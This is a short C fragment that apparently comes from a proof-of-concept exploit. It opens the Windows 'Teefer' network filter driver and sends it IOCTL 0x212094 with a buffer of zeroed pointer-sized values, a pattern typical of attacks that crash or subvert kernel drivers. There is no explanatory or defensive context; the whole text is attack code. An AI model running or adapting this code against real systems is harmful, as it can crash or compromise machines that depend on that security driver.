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-
- hDevice = CreateFile("\\\\.\\Teefer", GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
- NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
-
- if(hDevice == INVALID_HANDLE_VALUE)
- {
- printf("Open failed\n");
- }
- else
- {
- printf("Device opened.\n");
-
- char buffer[8];
- DWORD *ptr = (DWORD *)buffer;
- DWORD *ptr2 = (DWORD *)(buffer + 4);
- DWORD ret;
-
- *ptr = 0;
- *ptr2 = 0;
-
- if(DeviceIoControl(hDevice, 0x212094, buffer, 8, buffer, 8, &ret, 0))
- printf("Sent.\n");
-
- CloseHandle(hDevice);
- }
-
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